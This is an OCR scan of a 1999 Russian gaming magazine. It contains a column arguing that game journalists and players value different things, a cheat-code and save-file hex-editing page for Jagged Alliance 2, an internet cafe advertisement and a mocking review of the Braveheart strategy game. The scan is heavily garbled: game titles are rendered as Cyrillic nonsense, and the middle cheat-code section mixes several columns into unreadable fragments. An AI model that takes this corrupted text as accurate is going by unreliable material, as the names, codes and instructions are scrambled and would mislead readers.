ИБего!оп (к ней мы еще вернемся). 

Короче, предварительный вывод 
наклевывается такой: чем сильнее раз- 
работчик извратится, тем меньше у него 
шансов создать подлинный шедевр и хит 
(исключения вроде Вопдеоп Кеерег 
только подтверждают правило). Зато 
папарацци только того и надо. Чем 
экстравагантней и навороченней, тем 
больше восторга. И им совершенно не- 
важно, есть ли в игре та теплая и живая 
душа, почувствовав которую, мы не 
сможем оторваться от монитора до пос- 
леднего кадра последней заставки, а 
через полгода пройдем вещь заново на 
высшем уровне сложности. Конечно, пи- 
соть-то про супер-пупер-навороченные 
вещи гораздо легче, а играть в подоб- 
ную муть ИИ я ине ‘собирались. 


Унчхенные а 
оскорбленные 


Возьмем теперь обратный случай, Когда 
пресса игру фактически не замечает (в 
лучшем случае), а иногда даже от всей 
своей гнусной души опускает, а народ - 
тащится, рубится, клепает самодеятель- 
ные карты и делает фанатские сайты. Вот, 
например, Зе\егз 3. Все игровые издания 
очень сдержанно ее отревьюировали (ти- 
па, да: новые юниты, новые здания, гра- 
—+ получше, чем в предыдущей части) 
. благополучно забыли. А народ иг- 
и и ему это в кайф. Почему? А черт 
его разберет — мне здесь трудно судить, 
сам я не особый фанат серии Сеттлеров. 
Но, видать, есть в игре что-то такое, из-за 
чего Поселенцы не надоедают, некая 
таинственная субстанция, глубина, ду- 
а... Потом, ЭтСНу. Первая серия этой 
_ мыльной оперы произвела эффект разор- 
вавшейся бомбы. В нокаут ушло все игро- 
вое и околоигровое сообщество. Вторая 
и третья серии несли в себе исключитель- 
но количественные улучшения и были аб- 
солютно неинтересны пишущей братии. 
А игрокам? ЭтСИу 
3000 бьет все мысли- 
мые рекорды по 
продаваемости. 
Народ клепает но- 


тные разделы иг- } 
_ровых журналов => ы# 
сообщают обо : 
всем этом с лег- 
ким удивлением 
и иронией. Зато 
сейчас разду- 
вается сумас- 
шедший ажио- 
таж по поводу 
готовящихся к 
выходу 51$. 
Все дружно 
стоят на ушах, 
но самым ра- 
дужным опти- 
мистам я бы 
предложил 
вспомнить пе- 
чальный опыт 
Мах!5 с попсовой 
поделкой Энее!$ о! З!тСИу: скорее всего 
(МНО) в данном случае у них получится 
та же фигня. 

И вотеще, из области приколов вспо- 
минается... ТотБ Ка!аег 3. Погодите, по- 
годите, выслушайте сначала! Над третьим 
явлением несчастной Лары издевалась 
вся журнальная братия. Что называется, 
оторвались от души. Но давайте приз- 
наем, положа руку на сердце, что третья 
серия была ничуть не хуже первых двух. 
_Сам я никогда не был фанатом этой ан- 


5: 


о Ро ТЫ 


вые здания и кар- Г. 
ты и радостно я; 
‘обменивается к 
о ими через Интер- ВЕТ 
_ нет. Новос- 


а ль Хакер 8/ 99 `АИрь/Ииши:хакер.гиа 
та 


знакомствам в определенных кругах 
прекрасно знаю, что в третью часть ТотЬ 
КаЧега народ играл. Причем именно 
широкие народные массы, а не только 
подростки, для которых Лара сделалась 
первой женщиной. 


о й 

Про КТ5-ки я уже говорил. Но закры- 
вая этот раздел, не могу удержаться и не 
привести два примера, когда клевые ве- 


щи так и не получили вполне заслуженно- 


го (МНО) геймерского признания из-за 
того, что журналисты дружно опустили их. 
Сразу предупреждаю, примеры далеко 
не тривиальные и все сказанное ниже — 


сугубо личное мнение старого Маллеуса. | 


Первая рулезнейшая игра — уже упо- 
мянутая мной \У!аглаттег 40К Ерг: Ета! 
ИБегайоп (НойзНс/$5!). Журналисты прид- 
рались к графике и анимации (особенно 
их возмутило, что у танков при движении 


не крутились гусеницы) и упо- 


минали об иг- 
ре вскользь, с оттенком пренебрежения и 
презрения. А вещь была — отпад и улет. 
Более стильной и вкусной игры я просто 
не припомню. Планету Волистад осво- 
бождал от орков Комиссар Холт (о, Ко- 
миссар Холт! этот кекс — сам по себе от- 
дельная песня...). Классная музыка... Со- 
вершенно сумасшедшие ролики между 
миссиями... Представьте: по пустыне едет 
колонна войск. Вдруг, на горизонте — 
пыль. В пыли — какие-то силуэты. Паника, 
Приготовления к бою. Наконец, стано- 
вятся отчетливо видны танки. Свои! Об- 


У: 


БЕЗ рамок 


мен приветствиями, и танки присоеди- 
няются к основным силам. А вся фишка в 
том, что съемки этого ролика ДЕЙСТВИ- 
ТЕЛЬНО ПРОХОДИЛИ В ПУСТЫНЕ И 
ТАМ СНИМАЛИ НАСТОЯЩИЕ ТАНКИ 
(или грузовики, обшитые фанерой, но ка- 
кая к черту разница)!!! А сама игра... Чу- 
десный пошаговый \уагдате в стиле З!ее! 
Рагупегз, но во вселенной \/афаттег 
40К. Динамичный и красивый (надо прос- 
то уметь видеть} игровой процесс, отлич- 
ный баланс сил, А! — все на месте. 
Перехожу ко второму примеру. Возь- 
митесь покрепче за кресла — это Резсег! 


1ю /паегтоцптат (егр|ау). Запала мне в 


душу эта игрушка еще той самой зимой 
97/98 года, когда я бых частым гостем в 
«Навигаторе». Эх-х .. Да. Так мне же ее 


‘дали тогда на ревью. А она у меня не 


п шла. Комп. старый. не и да и ‘ба- ; 


С а ‚уже 
но пройден, а Ма и СУ! - 


как победа к 

коммунизма, я скачал патч (всего-то два , 
с половиной мега) и поставил игру на 
200-й Пень, на котором она резво побе- 
жала... Люди, я так не тащился уже сто 
лет! В ОК есть... отмосфера. Та самая, 
что достигается только одним способом: 
когда игру делают с любовью. В то время, 
когда ее ваяли (97-ой), была очень попу- 
лярна идея скрещивания ВРС и ЗО АснНоп, 
идея, которая потом на некоторое время 
отошла в тень, а сейчас снова набирает 
обороты. И разработчики вложили в эту 
игру всю душу. О) ставили в вину пога- 
ную графику и уродливых монстров. Гос- | 


Най ю Ме Етрегой 


пода, а сколько уровней вы прошли? Ни 
в одном ревью я не видел скринов с 
уровня дальше, чем второй. А на самом 
деле... Движок от Резсеп! с возможнос- 
тью летать, бои на мечах и топорах, раз- 
нообразнейшие монстры (полигональ- 
ные!), потрясный антураж уровней — 
каждый в своем стиле, секреты, арте- 
факты, музыка... Это вам не какое-ни- 
будь мочилово-рубилово а ля У\о!/Бо- 
от/@уаке. Все дуэли с монстрами — 
один на один. Если на тебя двое их нае- 
хало — катастрофа! Тут только маневр и 
выручает. Конечно, недостатков у игры 
— масса. И главный — даже не графика, 
а использование АБВ&ОР в жанре ЗО 


Аспоп. Играть надо исключительно вои- 
ном-гномом, все мозги которого перего- 
няются в мышцы. Тем не менее, от души 
всем рекомендую. Заодно, может, мне 
кто-нибудь подскажет, как проходится 
египетский уровень, где Скарабея надо 
найти... 


Отцы м дета 
Так, что-то я чересчур ударился в воспо- 
минания. Стоп. Надеюсь, вы простите 
мне эти сентиментальные охи и ахи — го- 
ды, проклятые, берут свое. Возвращаем- 
ся к нашим баранам. 

Вообще, сдается мне, что игровые 
журналисты делятся на две категории. 
Первая — это так называемые «ветера- 
ны». Они помнят Атай и Зрестит. Рас- 
цвет их геймерства пришелся на 199]- 
94 годы. Тогда они были восторженными 
романтиками. Каждая игра — открытие. 
Откровение. Прорыв в сознании. Они 
годами играли в одни и те же вещи, про- 
ходили их по 10-15 раз и знали наизусть 
(игр-то было — кот наплакал). Их (гейме- 
ров) тоже было мало, они были одновре- 
менно чем-то вроде интеллектуальной 
элиты и новой богемы... Нынче это бес- 
конечно усталые и унылые индивидуумы, 
которых уже ничто не в состоянии уди- 
вить или поразить. Все лучшее в мире РС 
Сатез уже было и прошло. Все, что де- 
лается сейчас, это слабые и бездарные 
переделки прежних шедевров. Их статьи 
легко узнаются с первого абзаца. Отто- 
ченный стиль, подчеркнуто умудренный 
жизнью и чуть циничный сарказм в отно- 
шении того, что клепается сейчас, и с 
трудом сдерживаемые сопли при воспо- 
минании об ЕМе, Цивилизации, РеоН- 
ТгасК или первом ЦРО. 

Другой разряд пишущей братии — 
«поколение молодое, незнакомое». Лю- 
ди, которые приезжают в воскресенье 
на Горбуху, покупают десяток компактов 
всех жанров и за неделю успевают пе- 
реиграть во все! Они не чураются читов 
или русифицированных версий. Они да- 
леко не все игры проходят до конца, да- 
же с читами. У них нет ничего святого. И 
они имеют собственное мнение на лю- 
бую тему и готовый ответ на любой воп- 
рос. В их глазах «старики» — это мамон- 
ты, которым место на свалке. А старые 
игры они и видеть не хотят. 

(Себя я не причисляю ни к первой, ни 
ко второй категории, однако справедли- 
вости и объективности ради вынужден 
рассказать еще одну историю, ‘которая 
приключилась со мной примерно полго- 
да назад. Тогда, устав гасить Сгеа! 
\УМуги’ ов и Горгон, я в очередной раз вы- 
лез из своей игры, и совершенно случай- 
но в руки мне попал древний «Сборник 
лучших игр для РС». На его обложке я 
обнаружил такие названия, как Еуе о! 
Не Веро|дег |, Пи 1. Представляете мою 
радость? Сейчас я приобщусь к бес- 
смертным шедеврам, которые породили 
жанр СЕРС (сотр\ег ВРС), которые 
воспитали старшее поколение гейме- 
ров, которые стали самой удачной рес- 


лизацией АБ&О на РС, которые... Даль- 
ше можете продолжить сами, если чита- 
ли хоть одну аналитическую статью о 
компьютерных ролевках в любом из иг- 
ровых журналов. Итак, я запустил пер- 
вую серию. Создал персонажей и залез 
в подземелье. Как бы описать игровой 
процесс... В общем, на панели интер- 
фейса есть 4 стрелочки. Нажимая на 
них, можно перемещаться по клеточкам 
вперед и назад, а также — поворачивать 
вправо и влево (строго на 90 градусов!). 
Видимость — на 2 клетки вперед. Карты 
нет. Подземелья одноцветные, однооб- 
разные, прямоугольные. Сюжет линей- 
ный. Инвентори примитивный. Ору- 
жие — без каких-либо цифровых харак- 
теристик. Заметьте, я не говорю ни сло- 
ва о графике! К ней претензий быть не 
может — она такая, какая есть. Но по 
нынешним стандартам геймплей ЧУДО- 
ВИЩНО зануден и неудобен. После 
современных игр в подземельях Еуе о! 
Не Веро ег ОЧЕНЬ СКУЧНО. Проси- 
дев 2 вечера, попробовав все 3 серии 
(Кстати, в очередной серии можно им- 
портировать персонажей из предыду- 
щей. Это означает только одно: в каж- 
дой части герои могут достигать только 
строго определенного уровня. Так вот, 
даже в третьей серии Паладин еще не 
мог колдовать.), и даже нарисовав план 
одного подземелья, я понял: мы — раз- 
балованная публика. После свободы пе- 
редвижения (относительной) и красот (не 
менее относительных!) Мам&Масдгс М! я 
уже не мог заставить себя смотреть в 
окошко на четверть экрана и ходить по 
стрелкам. И я уверен, что 90 процентов 
шедевров 5-8-летней давности, о кото- 
рых`так ностальгируют ветераны, будут 
абсолютно неиграбельны и скучны для 
большинства современных геймеров. 


Мораль 

Опять меня увело в сторону от основной 
идеи статьи. А идея, если кто еще не въе- 
хал, такова: нормальных людей, которые 
играют в то, во что им хочется, для соб- 
ственного удовольствия, и журналистов, 
которые ОБЯЗАНЫ играть во всевоз- 
можный отстой, чтобы не умереть с голо- 
ду, интересуют в играх абсолютно раз- 
ные вещи. Геймеров — атмосфера, ду- 
ша, вложенная разработчиками в про- 
дукт, геймплей — короче, приятность иг- 
рового процесса. А папарацци — ряд 
формальных критериев (число полиго- 
нов и профессиональных актеров на оз- 
вучке, наличие тоНоп сарге, абстрак- 
тные новизна и оригинальность и т.д. и 
т.п.), а также возможность быстро и не 
напрягая извилины сочинить что-нибудь 
яркое и легко читаемое. 

МОРАЛЬ: журналы читай, эрудицию 
повышай, на журналиста нодейся, а 
сам — не плошай! 

На том — до свидания. 


%. 


$. 


АП+4 — наемник сидит в кресле на коле- Больше пока ничего в самой игре не тро- 
гай, выходи. Затем открой Вех-редактором 


наемник превращается в боль- в директории /А? /ЗАУЕРСАМЕ$ /*.5ау 
з < файл зауедатей] .5ау. Номер в имени 
> : _АН+ ся ‹ ное оружие. файла означает номер слота, в котором 1% 
м к { рыв газовой грана- сохранена игра. 
ниц глазца... извиЯ а = > Переведи свое значение в Вех-код и ищи 
няюсь! Еще раз: в режиме вида из глазниц АЕТ+ — показать внутренности всех зда- такие ячейки. Например, если ты начал 
бойца наж отсылка сообщений 25 ний. 5 новую игру, то у тебя там должно быть 
А) и впечаты ; 7 ` АМ+1 — ‘наемник превращается в танк. 35.000 баксов. В Вех-коде это будет 88В8. 
зезаураЙюп — ировать коды. 3 СТАТ — всех наемников арестовывают. Но в Вех-редакторе это отображается как 
БаппосКБигп о прижучить всех 4 СТЕН — наемник теряет хитпоинты. ‚ В888. Замени все эти значения на ЕЕЕЕ. 
врагов. СТВЕ+И — лечить наемника. “ Таким образом, если на этом этапе груза- 
фуе Липаге — жестоко прижучить всех — СТЕЁО — проявляются все противники. “ — нешь свою сохраненную игру (чего я пока 
своих (чтоб чужие боялись). `` 3 СТК — взрыв ручной гранаты. делать ой как не советую), то у тебя полу- 
Чгез4еп — поджечь все здания; интересно, СТКВЕ+Е — вроде как должна ЕР$ показы- чится всего лишь 65535 баксов. Маловато 
а город Дрезден тут при чем? вать, но я не увидел. 7 будет? ОК! Тогда продолжаем разговор, . 
${еуе гееуе5 — войска не отступают. > В режиме Д1арюр тоесть взлом. Допиши еще ЕЁ в следую- = } 
БисК$ #27 — войска отступают. “ + дает +100.000$ О щую ячейку. То есть если у тебя там в на- г 
БазнИе ау — все стены ломаются, все 4 — дает -10.000$ 7 чале была примерно такая строка: 0002. =. 
рыши сносятся, короче, улет полный. “На экране с картой СШ-Т телепортирует 8888 0001, то доведи это до состояния 
паетогпаде — убрать кровь (для слабо- наемника в указанный сектор. ’ 0002 РЕЕЕ РЕОТ. Догоняешь? Тоже самое 
_ нервных — кровь там ужасно нарисована}! АП+клик левой кнопкой мыши на иконку проделай и со всеми остальными такими 
КИсат — убить того, чьими глазами мы _ СОТО $ЕСТОК: все тамошние враги уми- же ячейками. Конечно, получается это не 
роты на этот бренный игровой мир. я рают страшной смертью. 2 всегда, но примерно в 95% случаев сра- = - 
Сме кинооператорам!! 2 . батывает, если делать все правильно и += _ ё 
Маубау | И - забывать сохранять исходный файл. 1 
а99еЕа АШапсе 2 3 Теперь р м и и отре- з 
( цйская версия) Во время то жмакай Мипоск; затем $ _ АЯКтированный гейм. Вначале ты можешь 
я анай р увидеть свой старый результат, то есть те 
вводи А е сложнейшие комбина- 
‹ жалкие 35000 баксов, которых на пиво-то 
че экране жми СТЕЕ и, удер- Е ники не хватит, не то чтобы на войну. Если это 


5 = пиши |СОЦАМА. Так ты переклю- 333333 — $25 


Г] так, тогда войди в лаптоп и щелкни там на 
чишься в режим кодов. Циферки в данном 777 — 52,500,000. 2 рай № 


6 55 РБС корта. Т кнопке, на которой указаны твои бабки. 
случае надо набирать на доп. клавиатуре; Появится что-то вроде таблицы. Там ты 
справа ь 44444, 66666, или 888 аа в мис- 
АТ+Е ° р должен заметить, что теперь у тебя на фе 
АНТ нение 2’ у 4 -` р, счете примерно 16.000.000 баксов! Мо- 

= ие поРа , : у ‚ Ме. жешь выйти из лаптопа, чтобы убедиться. $ 
ОУ Же 7 Г хаке и ы о ‚ _ На экране с картбй внизу должна светить- . 
АТ+О н 7 "ж ся эта сумма. Все. Можешь нанимать са- 

ТИ поднять до мокойимо аснов рутых наемников на самые длинные 

рой. 


АГТ+К — перезарядить оружие. 
АП-+\У/ — выбираешь п 


! Аг. «Аг гони впас ы 
и зотем Яосмотрив ‚ Как стат р 
предметам. ее 


АП-+В — враг появ ‹ а указывае о з Те ны м 
курсором месте. = В. илил й другой ше 


АП+С — гражданский появляется на ука- дактор. Р добыл® Умн 
псеномвурсором несть 5 _каешь’ келс 
АП+С — новый наемник. | поминаешь, сколько у теб 


АН+У — робот. & Зв ь УВ счету и сразу сетов 


в ух 
АП+2 — наемник превращается в ж тельно в Ку ео 
”\ ` а 


сроки и не задум насчет оплаты — 988 
твой виртуальный кошелек стал тяжелее, ь 
чем весь этот долбаный остров. Но помни, 


чтокак толь наберешь 18 солдат и 
4 захочешь ь еще, тебя обломаюти 4% 
скажут, что, т стебя. Что, впро- 


40 современных компьютеров, НЕ НЫЯ 
в локальную сеть, позволят Вам поиграть вместе 
в любимые игры: Очаке 1, З{агСтай 1, Мееа Рог Зрееа Ш, 
О/аЫо, \М/огт$ Агтадедаоп, МоюВасег 2, Випе 2000, ЗитСйу 3000, 
Река Рогсе, Ме! О Вапу, Е!РА 99, МНЕ 99, КтаРт и многие другие 


Наши цены: 1 час днем - 10 рублей, Конфигурация наших компьютеров: 
Репнит!'350 МН2, 64 МВ $ОВАМ, 

Ночь = 9 часов (23:00-8:00) - 50 рублей 4 МВ Мдео, 12 МВ ЗО Моодоо И, 15" 

Наш адрес: Марьинский бульвар, 1 тел. 346-1100 РАБОТАЕМ 
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то-то в последнее время КТ$ без 

ЗВ наворотов не котируются. Лю- 
бая фирма, как только приступает к 
созданию игры, тут же обещает, что ее 
игра пойдет в целиком реальном мире, 
со всей его физикой, химией и историей 
с географией. Раньше я все эти экспери- 
менты приветствовал, думал, прогресс 
будет шагать семимильными шагами и 
вскоре появятся игры, в которых можно 
будет не только передвигать квадрати- 
ки полков и дивизий по карте, но и наб- 
людать их в натуре. 

Ага, разбежался! Прогресс-то дей- 

`вительно шагает, только не в ту сто- 
‚ ну. В настоящее время все эти экспе- 
рименты приводят к тому, что из КТ$ 
стремительно исчезает сама стратегия. 
Оно и понятно, сколько сил и средств 
нужно затратить на создание ЗВ движ- 
ка, или чтобы хотя бы переделать лицен- 
зионный. Поэтому на собственно стра- 
тегическую часть ничего не остается, 
делается она абы как и в последнюю 
очередь. 

А что бывает, если еще приходится 
покупать лицензию на использование 
названия и сюжета кинофильма, физио- 
номий и голосов известных актеров? Тут 
и на ЗО денег не остается, и получается 
некая абстрактная Шотландия, как в 
ВгауеВеан. 


Стратег, как он ЕСТЬ 

Ну не знаю я, как в действительности 

водили свои войска в бой Уильям Уол- 

пис, Роберт Брюс или еще какой Мор- 
‚ АпКеринг. Может они, подобно Лю- 

довику (не помню какому по счету) вых- 

ватывали меч и с криком: «Все, кто лю- 
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бит меня, за мной!» врубались в самую 
гущу схватки, а потом приближенным 
вместо того, чтобы руководить войска- 
ми, приходилось присматривать, как бы 
их повелителя какой-нибудь кнехт не за- 
валил. Как бы там ни было, стратегами 
они все не являлись, хотя 

бы потому что науки та- 
кой еще изобретено не (. 
было. 

Так что подлинных 
стратегов нужно искать 
в более близких к нам 
временах. Вспомни лю- 
бой фильм про войну, 
где показана работа 
большого военачальни- 
ка. Как правило, он си- 
дит за картой, рисует 
планы, проводит опера- 
тивные совещания. Ну, 
изредка объезжает под- 
чиненные ему войска 
для поднятия боевого 
духа. Вот это и есть ра- 
бота настоящего стра- 
тега. 

Теперь возьмем Василия Ивановича 
Чапаева. Помнишь, как он растолковы- 
вал Петьке, с помощью картошки и чу- 
гунка, «где должен быть командир»? 
Нет, не в анекдоте, а в одноименном 
кинофильме? Дескать, командир дол- 
жен с какого-нибудь возвышенного мес- 
та наблюдать общую картину боя. Вот 
за это мы Василь Иваныча причислим 
одним боком к стратегам. Почему од- 
ним боком? Да потому что развить свой 
стратегический талант ему не удалось, 
вышибли его в свое время из военной 
академии Красной Армии за неуспе- 
ваемость и пропуски за- 
нятий (это опять таки не 
анекдот, а реальный исто- 
рический факт). 

Наверное, из-за не- 
завершенности образо- 
вания он и дал Петьке 
еще одну безграмотную 
с точки зрения стратега 
рекомендацию, это ког- 
да оборона неприятеля 
прорвана и он в панике 
отступает. Тут командир 
должен быть «впереди, 
на лихом коне! И пер- 
вым, на плечах неприяте- 
ля, ворваться в дерев- 
ню». Впрочем, тут все 
понятно, это чтобы его 


бойцы не успели раньше командира 
всю самогонку выдуть, такова специфи- 
ка Гражданской войны. Только речь у 
нас сейчас не о ней и не о ее героях, а 
о режимах наблюдения за происходя- 
щим на поле боя. 

Итак, нормальный 
стратег смотрит на бит- 
ву издалека, желатель- 
но вообще следит за ее 
ходом по карте, прихле- 
бывая чай где-нибудь в 
уютном блиндаже. Ме- 
нее нормальный торчит 
где-то рядом на возвы- 
шенном месте (где его 
может достать шальной 
снаряд или пуля снайпе- 
ра) и присматривает за 
своими подразделения- 
ми в бинокль. Ну а сов- 
сем уж ненормальный 
лезет в самую гущу 
схватки. Так вот, во всех 
более-менее путевых 
смесях асНоп/зно!еду 
все эти три способа реа- 
лизованы, обычно это спутниковая (или 
еще какая-нибудь) карта, вид сверху в 
три четверти и вид «из глаз». А как с 
этим делом в Бравом Сердце обстоит? 
Сейчас выясним. 


Шотландия, мать чх... 

Не, это я пока еще не ругаюсь, просто 
игра-то про шотландцев, значит Шот- 
ландия — мать их. Вот этой-то матерью 
мы и полюбуемся, прежде чем в битву 
соваться. Ведь авторы игры нам дали 
возможность посетить каждый городок, 
деревушку, даже отдельную башню или 
сторожевую вышку и посмотреть, как 
там дела идут, чем твои подданные за- 
няты и всем ли довольны. Да еще пообе- 
щали полное соответствие реальным 
шотландским пейзажам. 

Помнишь, какая симпатичная рату- 
ша была во втором \У\/агсгаН? Еще на ее 
крыше зимой лежал снег, сосульки вся- 
кие висели, а вокруг жизнь кипела, пей- 
зане бегали с охапками дров и мешка- 
ми золота, строители молотками стуча- 
ли, сооружая очередную ферму или ле- 
сопилку. Думаешь, тут все также, только 
красивее, в сплошном 30? Ага, как же! 
Это просто я ностальгии предался, а 
вообще-то в этой, мать их... То есть, из- 
виняюсь, матери их Шотландии вечное 
лето и сплошная расслабуха. 

Ну ладно, стем, что там у них в янва- 
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ре месяце поля зеленые, а снега даже 
на горах нет, я смирился, кто его знает, 
может, семьсот лет назад так и было. 
Переживу как-нибудь и то, что ратуша 
там ну очень похожа на хлев в колхозе 
«Сорок лет без урожая» (спросишь, как 
я понял, что это ратуша, а не амбар? А 
там все постройки на этот самый хлев 
похожи). Но вот то, что все население 
Шотландии, матери их, бездельничает, 
моя командирская душа пережить никак 
не может! 

Нет, ну смотри, являюсь к ним Я, са- 
мый главный тутошний начальник, царь 
и бог, так сказать. А по всей деревне 
торчат какие-то мужики и бабы. (между 
прочим, отличить их друг от друга ока- 
зывается совсем просто, шотландцы но- 
сят мини-юбки, а шотландки макси) и 
совершенно ничего не делают! Ну нап- 
рочь, хоть бы там почесывались или с 
ноги на ногу переминались, а то торчат 
столбом и даже на меня не смотрят. 
Главное, если на всяких управляющих. 
экранах руководить, все, вроде бы, пу-. 
тем, зерно, дрова, руда всякая 
прибывают исправно, а как 
сам в деревню наведаешь- 
ся — все стоят. То есть не 
как у нормальных людей, 
начальство поблизос- 
ти — работаем, началь- 
ство уехало — отды- 
хаем, а наоборот. Вот я 
и говорю, шотландцы, 
мать их (нет, уж на этот 
раз точно, мать их!). 

Решил я эксперимент 
провести и этих гадов ущучить. 
Дал команду построить в деревне но- 
вую казарму, выделил на это дело шес- 
терых обломов, бургомистр (или кто там 
в деревне главный?) мне исправно до- 
ложил, что через неделю все готово бу- 
дет. Ладно, на четвертые сутки, когда 
по всем докладам полказармы готово 
было, я в эту деревню и нагрянул. Мать 
честна! Я такого даже при развитом со- 
циализме не видел! На бумаге полдела 
сделано, а у самих еще и фундамент не 
заложен. И главное, даже спросить не с 
кого, в том смысле, что каких именно 
обломов я на это дело назначил, неиз- 
вестно. 

Еще разок я к ним заглянул, когда до 
срока сдачи объекта один день оста- 
вался, картина та же. А на следующий 
день эти очковтиратели как ни в чем не 
бывало добавляют к списку своих дере- 
венских построек казарму. Ну нет, ду- 
маю, уж этот-то номер у вас не пройдет, 
сейчас лично на месте все проверю. 
Прибываю в деревню, а там эта самая 
казарма стоит! Оказывается, я просто 
не понял, что это стройка казармы бы- 
ла, думал, сеновал проветривают. Шот- 
ландия, словом, мать их... 


Шотпанодцы, дЕТЧ Ее... 


За этими своими экспериментами и по- 
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пытками понять таин- 

ственную шотландскую 

душу совсем я забыл 

проверить, как там с ре- 

жимами обзора. Если 

смотреть по бумагам, 

три режима присут- 

ствуют, да только я то 

уже понял, что шотлан- 

дцам на слово верить 

нельзя, и решил все са- 

мостоятельно пощупать. 

Начал щелкать кнопка- 

ми да посматривать, что 

и как. Вот тут-то я ихние 

шотландские приписки и 

разоблачил! Вид-то всего 
один, просто камера в од- 
ном режиме болтается 
где-то в воздухе, в другом за плечами 
_ какого-нибудь бойца, ну а в третьем у 
_ него. же перед носом. Скажешь, какая 
_ разница, во всех играх так? Фигос под 
И 

` Прежде всего, больно уж тут все то- 
порно слеплено, иногда в режи- 


тебя перед глазами вдруг. 
собственный. затылок 
появляется, а при «виде 
от третьего лица», нао- 
борот, этот затылок но- 
ровит куда- то пропас- 
ть. Ног! главное не в 


из лука там постреля' 
нафига я буду н ‚ поле. оя тс 
чать, если 
голову кому-нибудь отчекрыжить, раз- 
влечься, словом? . 
Вот возьмем Масвтез. Вроде, те же 
три режима. Только в том, о котором мы 
тут говорим, я действительно в боевой 
машине сидел, могей порулить, постре- 


лять, в здание какое- -нибудь заехать. | 


ме «вид от первого лица» Ума 


СЛЕДСТВИЕ 


мым пехотинцем (в котором я сижу] при- 
_ходится, кликая мышкой по окрестным 


_ полям и холмам! Так я уж лучше из него 


вылезу и со стороны посмотрю, тем бо- 
лее что камера во всех трех режимах 
как привязанная следует за выбранным 
бойцом. 

Ну ладно, а с боем-то что? А ниче! >. 


_ Сообщили мне тут, что какой-то Мак- 


„Друган на мою любимую деревню на- 
пал, ясное дело, я тут же на поле боя 


_ помчался. Скажу честно, сперва меня 


там все шибко радовало, бойцы мои 
стоят ровными рядами, по стойке смир- 
но, командир посередке. Выделил я де- 
сятка три нс роду, пощелкал клавиша- 
ми, они у ме ня послушненько перес- 
троились треугольником, кругом, еще 
как-то. И маршировали так аккурат- 
ненько, что прям отрада командирско- 
му сердцу! 
_— _ Погонял я их минут с десяток, но по- 
том спохватился — а противник-то! По- 
ка я тут строевые занятия устроил, не- 
бось, полдеревни сожгли! Стал огляды- 
ваться, местность изучать. Ни деревни, 
ни неприятеля, ни вообще чего-либо, 
оме холмов с кактусами да моего 


Так хоть какой-то смысл в этом был, по- Войска. Словом, как в том анекдоте: 
ка там твою базу порленНые обус- «Куда этоя попал и что тут делаю3» 


траи- 
вают, 
науку 
разви- 
вают или | 
еще чем 
заняты, 
можно 
было на 
разведку 
отпра- 
виться 
или ди- 
версию 
какую 
учинить. 
А в Бра- 
вом Сер- 
дце уп- 
равлять 
этим са- 
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Слава богу, вскоре противник отку- 
да-то подоспел (наверное, тоже где-то 
за горой строевые приемы отрабаты- 
вал). Однако с дисциплинкой-то у них 
дело не того, валят, понимаешь, толпой, 
безо всякого строя, сейчас я их своей 
хорошо обученной армией враз укон- 
трапупю! Только долго радоваться не 
пришлось, так как не успела эта толпа 
недругов до моего войска добежать, 
как оно в точно такую же толпу превра- 
тилось. Тут уж бесполезны оказались и 
стратегический талант, и командный го- 
лос, и все три режима, и двенадцать 
апостолов, сорок мучеников, три святи- 
теля и мать их... Извини, увлекся. Сло- 
вом, руководить боем тут никакой воз- 
можности не стало. Нет, врагов-то я по- 
бил, только сам не знаю, как. 

Ну а теперь пусть мне кто-нибудь 
объяснит, нафига нужны все эти ЗВ шту- 
ковины, если по селу гулять неинтерес- 
но, самому подраться не дают, а други- 
ми поруководить не удается? Что?“Для 
создания в игре исторической атмосфе- 

2 Ага, особенно здорово эту атмос- 
+феру подчеркивает экран радара, вися- 
щий в левом верхнем углу экрана! 

Нет, явно авторы, присобачив к иг- 
ре название кинофильма и вынеся в 
заставку бравую физиономию Мела 
Гибсона, решили, что под таким соусом 
потребитель что хочешь сожрет. Такна- 
фига еще тратить деньги на движок, на 
А! на интерфейс? Ну а уж на собствен- 
но стратегическую часть и вовсе неза- 
чем. Сейчас я и о ней пару ласковых 
скажу. 


Шотпанодская экономика 

Было время, когда, увидев в игре целую 
кучу всяких ресурсов, продукции и т.д., я 
радовался, вот уж, дескать, поруково- 
жу! Теперь же я не то чтобы поумнел (и 
так от рождения умный был), а просто 


стал критически относиться к своим воз- 


можностям. Осознаю, понимаешь, что 
руководить производством дюжины- 
другой ресурсов, да еще если они в 
каждом населенном пункте производят- 
ся независимо, мне не под силу. Стало 
быть, придется что-то помощникам пе- 
редавать. Дело нормальное, пока у те- 
бя не более пары-тройки городов или 
сел, сам во все вникаешь. А 

как выбился в большие 
боссы и начинаешь счи- 
тать наспункты по паль- 
цам ног, там пора уже ма- 
лых боссов к делу привле- 
кать. 

Но что делать, если 
эти самые подручные дей- 
ствуют как... шотландцы? 
Мало того, что, наделав 
десять тысяч больших ду- 
бин, они ну никак не 
сообразят переключиться 
на производство малых 
мечей. Так ещеи вырубив 
все леса в округе, не по- 
чешутся. сообщить об 
этом по команде- А со 
строительством как дело обстоит? Вот 
дал ты команду построить тюрьму, ну 
построили ее, и думаешь, кто-то тебе 
что-то об этом скажет? Ага, губы-то за- 
катай! В автоматическом режиме тут же 
молча еще что-то строить начнут, нуав 
ручном и вовсе баклуши бить станут без 
зазрения совести. 

Возьмем торговлю. Тут у нас опять, 
на первый взгляд, красота, а на вто- 
рой... Шотландия. Как в приличных иг- 
рах можно посылать караваны, что-то 
там продавать, а что-то покупать. Толь- 
ко лучше всего на это дело сразу же 
махнуть рукой, во-первых, чтобы не 
расстраиваться, а во-вторых, и без тебя 
справятся. Вот сидишь ты, планируешь 
очередной набег на соседа и вдруг об- 
наруживаешь, что из твоей столицы к 
этому соседу караван поехал. «Как так, 


— кричишь, — кто приказал! Почему без 
спросу®» Покричать можешь, но концов 
не найдешь. Поехал, и все тут, сам по 
себе. 

О дипломатии говорить вообще не 
буду, больное место (мое). Боюсь, что 
даже при полном отсутствии цензуры в 
Хх мои слова по этому поводу в него не 

попадут. Бумага не выдер- 
жит. Лучше скажу о шот- 
ландцах кое-что хоро- 
шее. Об их сельском хо- 
зяйстве, например. 

Развито оно было еще 
в средние века до полно- 
го отпада. Не нужно было 
заботиться о пахотных 
землях, семенном зерне и 
прочей ерунде. Весной 
выделил тучу народа на 
посевную, а осенью на 
уборку, и все. Что там и 
где они сажали, откуда и 
чего убирали, неизвес- 
тно, но урожай всегда от- 
менный был. Да еще на- 
род в промежутке между 
посевной и уборочной по своему разу- 
мению использовать можно было. 

Нет, вообще-то, если сам попро- 
